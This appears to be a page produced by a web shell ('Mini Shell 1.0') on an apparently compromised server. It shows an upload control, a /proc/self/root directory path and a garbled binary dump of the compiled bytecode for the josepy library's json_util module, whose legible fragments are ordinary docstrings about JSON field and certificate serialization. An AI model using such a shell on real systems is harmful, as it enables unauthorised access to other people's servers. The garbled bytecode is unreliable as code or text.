HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/usr/lib/python3/dist-packages/josepy/__pycache__/
Upload File :
Current File : //proc/self/root/usr/lib/python3/dist-packages/josepy/__pycache__/json_util.cpython-311.pyc
�

*bH�
��dZddlZddlZddlZddlmZmZmZmZm	Z	m
Z
mZmZddl
mZddlmZmZmZmZeje��Z		d+deded	ed
eegefdeegefdefd
�ZGd�d��ZGd�de��ZGd�dej��Zedd���ZGd�dejej e���Z!de"defd�Z#d,dede
e$dede"fd�Z%de"defd�Z&d,dede
e$dede"fd �Z'd!ej(defd"�Z)d#edej(fd$�Z*d%ej(defd&�Z+d#edej(fd'�Z,ed(d)���Z-Gd*�d)e!��Z.dS)-z�JSON (de)serialization framework.

The framework presented here is somewhat based on `Go's "json" package`_
(especially the ``omitempty`` functionality).

.. _`Go's "json" package`: http://golang.org/pkg/encoding/json/

�N)�Any�Callable�Dict�List�Mapping�Optional�Type�TypeVar)�crypto)�b64�errors�
interfaces�utilF�	json_name�default�	omitempty�decoder�encoder�returnc�*�t|||||���S)a4Convenient function to declare a :class:`Field` with proper type annotations.

    This function allows to write the following code:

    import josepy
    class JSON(josepy.JSONObjectWithFields):
        typ: str = josepy.field('type')

        def other_type(self) -> str:
            return self.typ

    �rrrrr)�_TypedFieldrs     �2/usr/lib/python3/dist-packages/josepy/json_util.py�fieldrs&����G�y�&��9�9�9�9�c
�F�eZdZdZdZ			ddedededeegefd	eegefd
dfd�Z	e
ded
efd
���Zded
efd�Zded
dfd�Z
deegefd
dfd�Zdeegefd
dfd�Zded
efd�Zded
efd�Ze
ded
efd���Ze
ded
efd���ZdS)�Fielda�JSON object field.

    :class:`Field` is meant to be used together with
    :class:`JSONObjectWithFields`.

    ``encoder`` (``decoder``) is a callable that accepts a single
    parameter, i.e. a value to be encoded (decoded), and returns the
    serialized (deserialized) value. In case of errors it should raise
    :class:`~josepy.errors.SerializationError`
    (:class:`~josepy.errors.DeserializationError`).

    Note, that ``decoder`` should perform partial serialization only.

    :ivar str json_name: Name of the field when encoded to JSON.
    :ivar default: Default value (used when not present in JSON object).
    :ivar bool omitempty: If ``True`` and the field value is empty, then
        it will not be included in the serialized JSON object, and
        ``default`` will be used for deserialization. Otherwise, if ``False``,
        field is considered as required, value will always be included in the
        serialized JSON objected, and it must also be present when
        deserializing.

    )rrr�fdec�fencNFrrrrrrc�p�||_||_||_|�|jn||_|�|jn||_dS�N)rrr�default_decoderr�default_encoderr)�selfrrrrrs      r�__init__zField.__init__AsC��#������"���,3�O�D�(�(���	�,3�O�D�(�(���	�	�	r�valuec�4�t|t��o|S)z�Is the provided value considered "empty" for this field?

        This is useful for subclasses that might want to override the
        definition of being empty, e.g. for some more exotic data types.

        )�
isinstance�bool��clsr&s  r�_emptyzField._emptyKs���e�T�*�*�*�8�5�y�8rc�:�|�|��o|jS)zOmit the value in output?)r,r�r$r&s  r�omitz
Field.omitUs���{�{�5�!�!�4�d�n�4r�kwargsc�r�|j|j|j|j|jd�|�}t|��di|��S)Nr�)rrrrr�type)r$r0�currents   r�_update_paramszField._update_paramsYsO�����|����y��y�
�
��

���t�D�z�z�$�$�G�$�$�$rrc�.�|�|���S)z6Descriptor to change the decoder on JSON object field.)r�r5)r$rs  rrz
Field.decoderd����"�"�4�"�0�0�0rrc�.�|�|���S)z6Descriptor to change the encoder on JSON object field.)rr7)r$rs  rrz
Field.encoderhr8rc�,�|�|��S)z4Decode a value, optionally with context JSON object.)rr.s  r�decodezField.decodel����y�y����rc�,�|�|��S)z4Encode a value, optionally with context JSON object.)rr.s  r�encodezField.encodepr<rc���t|t��rt�fd�|D����St|t��r2t	j�fd�|���D����S|S)z�Default decoder.

        Recursively deserialize into immutable types (
        :class:`josepy.util.frozendict` instead of
        :func:`dict`, :func:`tuple` instead of :func:`list`).

        c3�B�K�|]}��|��V��dSr!�r")�.0�subvaluer+s  �r�	<genexpr>z(Field.default_decoder.<locals>.<genexpr>s1�����M�M�8��,�,�X�6�6�M�M�M�M�M�Mrc�h��i|].\}}��|����|����/Sr2rA)rB�keyr&r+s   �r�
<dictcomp>z)Field.default_decoder.<locals>.<dictcomp>�sK���2�2�2��S�%��$�$�S�)�)�3�+>�+>�u�+E�+E�2�2�2r)r(�list�tuple�dictr�
frozendict�itemsr*s` rr"zField.default_decoderts�����e�T�"�"�	��M�M�M�M�u�M�M�M�M�M�M�
��t�
$�
$�	��?�2�2�2�2�#(�;�;�=�=�2�2�2�3�3�
3��Lrc��|S)zDefault (passthrough) encoder.r2r*s  rr#zField.default_encoder�s	��
�r�NFNN)�__name__�
__module__�__qualname__�__doc__�	__slots__�strrr)rr%�classmethodr,r/r5rrr;r>r"r#r2rrrr's��������.F�I�NS�15�15�I�I�#�I��I�t�I�"�C�5�#�:�.�I�"�C�5�#�:�.�I�:>�I�I�I�I��9�3�9�4�9�9�9��[�9�5�#�5�$�5�5�5�5�	%�s�	%�w�	%�	%�	%�	%�1�H�c�U�C�Z�0�1�W�1�1�1�1�1�H�c�U�C�Z�0�1�W�1�1�1�1� �C� �C� � � � � �C� �C� � � � ���C��C�����[��$��C��C�����[���rrc��eZdZdZdS)raSpecialized class to mark a JSON object field with typed annotations.

    This class is kept private because fields are supposed to be declared
    using the :function:`field` in this situation.

    In the future the :class:`Field` may be removed in favor of this one.N)rOrPrQrRr2rrrr�s"������M�M�M�Mrrc�f�eZdZUdZiZeeefed<dede	edeee
fddfd�ZdS)	�JSONObjectWithFieldsMetaa�Metaclass for :class:`JSONObjectWithFields` and its subclasses.

    It makes sure that, for any class ``cls`` with ``__metaclass__``
    set to ``JSONObjectWithFieldsMeta``:

    1. All fields (attributes of type :class:`Field`) in the class
       definition are moved to the ``cls._fields`` dictionary, where
       keys are field attribute names and values are fields themselves.

    2. ``cls.__slots__`` is extended by all field attribute names
       (i.e. not :attr:`Field.json_name`). Original ``cls.__slots__``
       are stored in ``cls._orig_slots``.

    In a consequence, for a field attribute name ``some_field``,
    ``cls.some_field`` will be a slot descriptor and not an instance
    of :class:`Field`. For example::

      some_field = Field('someField', default=())

      class Foo:
          __metaclass__ = JSONObjectWithFieldsMeta
          __slots__ = ('baz',)
          some_field = some_field

      assert Foo.__slots__ == ('some_field', 'baz')
      assert Foo._orig_slots == ()
      assert Foo.some_field is not Field

      assert Foo._fields.keys() == ['some_field']
      assert Foo._fields['some_field'] is some_field

    As an implementation note, this metaclass inherits from
    :class:`abc.ABCMeta` (and not the usual :class:`type`) to mitigate
    the metaclass conflict (:class:`ImmutableMap` and
    :class:`JSONDeSerializable`, parents of :class:`JSONObjectWithFields`,
    use :class:`abc.ABCMeta` as its metaclass).

    �_fields�name�bases�	namespacerc��i}|D]&}|�t|di�����'|������D]u\}}t	|t
��r[t	|t��r.||�di��vrtd|�d|�d����|�	|��||<�v|�dd��|d<tt|d��t|�����z��|d<||d<tj�||||��S)	NrY�__annotations__zField `z` in JSONObject `z` has no type annotation.rSr2�_orig_slots)�update�getattr�copyrLr(rr�get�
ValueError�poprIrH�keys�abc�ABCMeta�__new__)�mcsrZr[r\�fields�baserFr&s        rriz JSONObjectWithFieldsMeta.__new__�s]�����	8�	8�D��M�M�'�$�	�2�6�6�7�7�7�7�$�.�.�*�*�0�0�2�2�	1�	1�J�C���%��'�'�
1��e�[�1�1�]��)�-�-�0A�2�"F�"F�F�F�(�[�c�[�[�D�[�[�[�]�]�]�'�m�m�C�0�0��s���#,�=�=��b�#A�#A�	�-� �!&���=�)�*�*�T�&�+�+�-�-�-@�-@�@�"B�"B�	�+��%�	�)���{�"�"�3��e�Y�?�?�?rN)rOrPrQrRrYrrTrr^rrrir2rrrXrX�s��������%�%�N!#�G�T�#�u�*�
�"�"�"�@�3�@�t�C�y�@���S��>�@�.H�@�@�@�@�@�@rrX�GenericJSONObjectWithFields�JSONObjectWithFields)�boundc�@��eZdZdZedeeeffd���Zdeddf�fd�Z	dedefd�Z
deeeffd	�Zdeeeffd
�Zede
eefddfd���Zede
eefdefd
���Zedeede
eefdefd���Z�xZS)rna�JSON object with fields.

    Example::

      class Foo(JSONObjectWithFields):
          bar = Field('Bar')
          empty = Field('Empty', omitempty=True)

          @bar.encoder
          def bar(value):
              return value + 'bar'

          @bar.decoder
          def bar(value):
              if not value.endswith('bar'):
                  raise errors.DeserializationError('No bar suffix!')
              return value[:-3]

      assert Foo(bar='baz').to_partial_json() == {'Bar': 'bazbar'}
      assert Foo.from_json({'Bar': 'bazbar'}) == Foo(bar='baz')
      assert (Foo.from_json({'Bar': 'bazbar', 'Empty': '!'})
              == Foo(bar='baz', empty='!'))
      assert Foo(bar='baz').bar == 'baz'

    rc�H�d�|j���D��S)zGet default fields values.c�$�i|]
\}}||j��Sr2)r)rB�slotrs   rrGz2JSONObjectWithFields._defaults.<locals>.<dictcomp>�s-��
�
�
�$/�D�%�D�%�-�
�
�
r)rYrL)r+s r�	_defaultszJSONObjectWithFields._defaults�s1��
�
�36�;�3D�3D�3F�3F�
�
�
�	
rr0Nc�f��t��jdii|����|���dS�Nr2)�superr%rt)r$r0�	__class__s  �rr%zJSONObjectWithFields.__init__s;��������:�:�9�d�n�n�.�.�9�&�9�:�:�:�:�:rrZc���	|j|}n5#t$r(tjd�|�����wxYw|�t
||����S)z�Encode a single field.

        :param str name: Name of the field to be encoded.

        :raises errors.SerializationError: if field cannot be serialized
        :raises errors.Error: if field could not be found

        zField not found: {0})rY�KeyErrorr
�Error�formatr>ra)r$rZrs   rr>zJSONObjectWithFields.encodesr��	D��L��&�E�E���	D�	D�	D��,�5�<�<�T�B�B�C�C�C�	D�����|�|�G�D�$�/�/�0�0�0s	�
�2Ac	��i}t��}|j���D]�\}}t||��}|�|��r|�||f���B	|�|��||j<�a#tj	$r.}tj	d�
|||�����d}~wwxYw|S)zSerialize fields to JSON.zCould not encode {0} ({1}): {2}N)�setrYrLrar/�addr>rr
�SerializationErrorr|)r$�jobj�omittedrsrr&�errors       r�fields_to_partial_jsonz+JSONObjectWithFields.fields_to_partial_jsons������%�%���<�-�-�/�/�	1�	1�K�D�%��D�$�'�'�E��z�z�%� � �
1����T�5�M�*�*�*�*�1�,1�L�L��,?�,?�D���)�)���0�1�1�1� �3�9�@�@� �%��0�0�1�1�1�����1�����s�-B�C�)C�Cc�*�|���Sr!)r�)r$s r�to_partial_jsonz$JSONObjectWithFields.to_partial_json's���*�*�,�,�,rr�c�,�t��}|j���D]/\}}|js#|j|vr|�|j���0|r:t
jd�d�	|�������dS)Nz&The following fields are required: {0}�,)
r~rYrLrrrr
�DeserializationErrorr|�join)r+r��missing�_rs     r�_check_requiredz$JSONObjectWithFields._check_required*s����%�%����)�)�+�+�	-�	-�H�A�u��?�
-�u��d�'B�'B����E�O�,�,�,���	(��-�8�?�?��H�H�W�%�%�'�'�(�(�
(�	(�	(rc	�t�|�|��i}|j���D]�\}}|j|vr|jr|j||<� ||j}	|�|��||<�G#tj$r.}tjd�	|||�����d}~wwxYw|S)zDeserialize fields from JSON.z#Could not decode {0!r} ({1!r}): {2}N)
r�rYrLrrrr;r
r�r|)r+r�rkrsrr&r�s       r�fields_from_jsonz%JSONObjectWithFields.fields_from_json6s���	���D�!�!�!����;�,�,�.�.�		-�		-�K�D�%���d�*�*�u��*�$�}��t����U�_�-��-�#(�<�<��#6�#6�F�4�L�L���2�-�-�-� �5�6[�6b�6b��e�U�7,�7,�-�-�-�����-�����
s�A8�8B5�)B0�0B5r+c�8�|di|�|����Srv)r�)r+r�s  r�	from_jsonzJSONObjectWithFields.from_jsonGs(���s�0�0�S�)�)�$�/�/�0�0�0r)rOrPrQrRrUrrTrrtr%r>r�r�rr�r�r	rmr��
__classcell__)rxs@rrnrn�s����������2�
�$�s�C�x�.�
�
�
��[�
�;��;��;�;�;�;�;�;�1�3�1�3�1�1�1�1� ��S�#�X������$-��c�3�h��-�-�-�-��	(�7�3��8�#4�	(��	(�	(�	(��[�	(���G�C��H�$5��#�����[�� �1�
�-�
.�1�6=�c�3�h�6G�1�	$�1�1�1��[�1�1�1�1�1r)�	metaclass�datac�P�tj|���d��S)zJEncode JOSE Base-64 field.

    :param bytes data:
    :rtype: `str`

    �ascii)r�	b64encoder;)r�s r�encode_b64joser�Ns"���=����%�%�g�.�.�.r�size�minimumc�R�	tj|�����}n+#tj$r}tj|���d}~wwxYw|�Q|st|��|ks|r:t|��|kr'tjd�|�����|S)aDecode JOSE Base-64 field.

    :param unicode data:
    :param int size: Required length (after decoding).
    :param bool minimum: If ``True``, then `size` will be treated as
        minimum required length, as opposed to exact equality.

    :rtype: bytes

    Nz&Expected at least or exactly {0} bytes)	r�	b64decoder>�binasciir{r
r��lenr|)r�r�r��decodedr�s     r�decode_b64joser�Ys���1��-����
�
�.�.�����>�1�1�1��)�%�0�0�0�����1������'��c�'�l�l�d�.B�.B�%�/C�*-�g�,�,��*=�*=��)�4�;�;�D�A�A�C�C�	C��Ns�&)�A�A�Ar&c�N�tj|�����S)z;Hexlify.

    :param bytes value:
    :rtype: unicode

    )r��hexlifyr;)r&s r�encode_hex16r�qs!����E�"�"�)�)�+�+�+rc�4�|���}|�C|st|��|dzks|r)t|��|dzkrtj���	t	j|��S#tj$r}tj|���d}~wwxYw)aDecode hexlified field.

    :param unicode value:
    :param int size: Required length (after decoding).
    :param bool minimum: If ``True``, then `size` will be treated as
        minimum required length, as opposed to exact equality.

    :rtype: bytes

    N�)r>r�r
r�r��	unhexlifyr{)r&r�r��value_br�s     r�decode_hex16r�{s����l�l�n�n�G���'��c�'�l�l�d�Q�h�.F�.F�%�/G�*-�g�,�,����*A�*A��)�+�+�+�1��!�'�*�*�*���>�1�1�1��)�%�0�0�0�����1���s�A/�/B�>B�B�certc��t|jtj��rt	d���ttjtj|j����S)z�Encode certificate as JOSE Base-64 DER.

    :type cert: `OpenSSL.crypto.X509` wrapped in `.ComparableX509`
    :rtype: unicode

    z.Error input is actually a certificate request.)r(�wrappedr�X509Reqrdr��dump_certificate�
FILETYPE_ASN1)r�s r�encode_certr��sU���$�,���/�/�K��I�J�J�J��&�1���d�l�,�,�-�-�-r�b64derc���	tjtjtjt|������S#tj$r}tj|���d}~wwxYw)z�Decode JOSE Base-64 DER-encoded certificate.

    :param unicode b64der:
    :rtype: `OpenSSL.crypto.X509` wrapped in `.ComparableX509`

    N)	r�ComparableX509r�load_certificater�r�r{r
r��r�r�s  r�decode_certr��sm��1��"�6�#:�� �.��"8�"8�$:�$:�;�;�	;���<�1�1�1��)�%�0�0�0�����1�����=A�A(�A#�#A(�csrc��t|jtj��rt	d���ttjtj|j����S)zEncode CSR as JOSE Base-64 DER.

    :type csr: `OpenSSL.crypto.X509Req` wrapped in `.ComparableX509`
    :rtype: unicode

    z&Error input is actually a certificate.)r(r�r�X509rdr��dump_certificate_requestr�)r�s r�
encode_csrr��sU���#�+�v�{�+�+�C��A�B�B�B��&�9���c�k�+�+�,�,�,rc���	tjtjtjt|������S#tj$r}tj|���d}~wwxYw)z�Decode JOSE Base-64 DER-encoded CSR.

    :param unicode b64der:
    :rtype: `OpenSSL.crypto.X509Req` wrapped in `.ComparableX509`

    N)	rr�r�load_certificate_requestr�r�r{r
r�r�s  r�
decode_csrr��sm��1��"�6�#B�� �.��"8�"8�$:�$:�;�;�	;���<�1�1�1��)�%�0�0�0�����1���r�� GenericTypedJSONObjectWithFields�TypedJSONObjectWithFieldsc	�(�eZdZUdZeZeed<	dZeed<	eZ	e
eefed<	e	ddee
deedee
fd	���Zed
eeefdedfd���Zde
eeffd�Zed
eeefddfd
���ZdS)r�zJSON object with type.�typr3�type_field_name�TYPESN�type_clsrc�0�|�|jn|}||j|<|S)z(Register class for JSON deserialization.)r�r�)r+r�r�s   r�registerz"TypedJSONObjectWithFields.register�s#��"�k�h�l�l�s��!��	�#���rr�c���||j���vr7|j|vr,tjd�|j�����|St
|t��s'tjd�|�����	||j}n"#t$rtjd���wxYw	|j|S#t$rtj	||���wxYw)z&Get the registered class for ``jobj``.zMissing type field ({0})z{0} is not a dictionary objectzmissing type field)
r��valuesr�r
r�r|r(rJrz�UnrecognizedTypeError)r+r�r�s   r�get_type_clsz&TypedJSONObjectWithFields.get_type_cls�s���#�)�"�"�$�$�$�$��"�$�.�.��1�.�5�5�c�6I�J�J�L�L�L�
�J��$��%�%�	?��-�0�7�7��=�=�?�?�
?�	D��s�*�+�C�C���	D�	D�	D��-�.B�C�C�C�	D����	:��9�S�>�!���	:�	:�	:��.�s�D�9�9�9�	:���s�
B�B=�C� C.c�L�|���}|j||j<|S)aGet JSON serializable object.

        :returns: Serializable JSON object representing ACME typed object.
            :meth:`validate` will almost certainly not work, due to reasons
            explained in :class:`josepy.interfaces.IJSONSerializable`.
        :rtype: dict

        )r�r�r�)r$r�s  rr�z)TypedJSONObjectWithFields.to_partial_json�s)���*�*�,�,��%)�X��T�
!�"��rc�b�|�|��}|di|�|����S)z�Deserialize ACME object from valid JSON object.

        :raises josepy.errors.UnrecognizedTypeError: if type
            of the ACME object has not been registered.

        r2)r�r�)r+r�r�s   rr�z#TypedJSONObjectWithFields.from_json
s;���#�#�D�)�)���x�:�:�(�3�3�D�9�9�:�:�:rr!)rOrPrQrR�NotImplementedr�rTr^r�r�rr	rUr�rr�rrr�r�r�r2rrr�r��sF������� � ��C�����7�!�O�S�!�!�!��,�E�4��T�	�?�+�+�+�3��&*����%E� F���s�m��/3�4T�/U�����[���:���S�� 1�:�d�;V�6W�:�:�:��[�:�0��c�3�h�������	;�W�S�#�X�.�	;�3N�	;�	;�	;��[�	;�	;�	;rrN)NF)/rRrgr��logging�typingrrrrrrr	r
�OpenSSLr�josepyrr
rr�	getLoggerrO�loggerrTr)rrrrhrXrm�ImmutableMap�JSONDeSerializablern�bytesr��intr�r�r�r�r�r�r�r�r�r�r2rr�<module>r�s������
�
�
���������N�N�N�N�N�N�N�N�N�N�N�N�N�N�N�N�N�N�N�N�������0�0�0�0�0�0�0�0�0�0�0�0�	��	�8�	$�	$��BG�PT�9�9�S�9�3�9�$�9��S�E�3�J�'�9�9A�3�%��*�9M�9�Y\�9�9�9�9�$e�e�e�e�e�e�e�e�PM�M�M�M�M�%�M�M�M�A@�A@�A@�A@�A@�s�{�A@�A@�A@�H&�g�&C�Ka�b�b�b��l1�l1�l1�l1�l1�4�,�%�8�%=�l1�l1�l1�l1�^/��/�3�/�/�/�/�����H�S�M��4��TY�����0,��,�#�,�,�,�,�1�1��1�8�C�=�1�$�1�SX�1�1�1�1�*-�d�)�-�c�-�-�-�-�1��1�� 3�1�1�1�1�,�D�'�,�C�,�,�,�,�1�s�1�t�2�1�1�1�1�$+�7�&�.I�$K�$K�$K� �H;�H;�H;�H;�H;� 4�H;�H;�H;�H;�H;r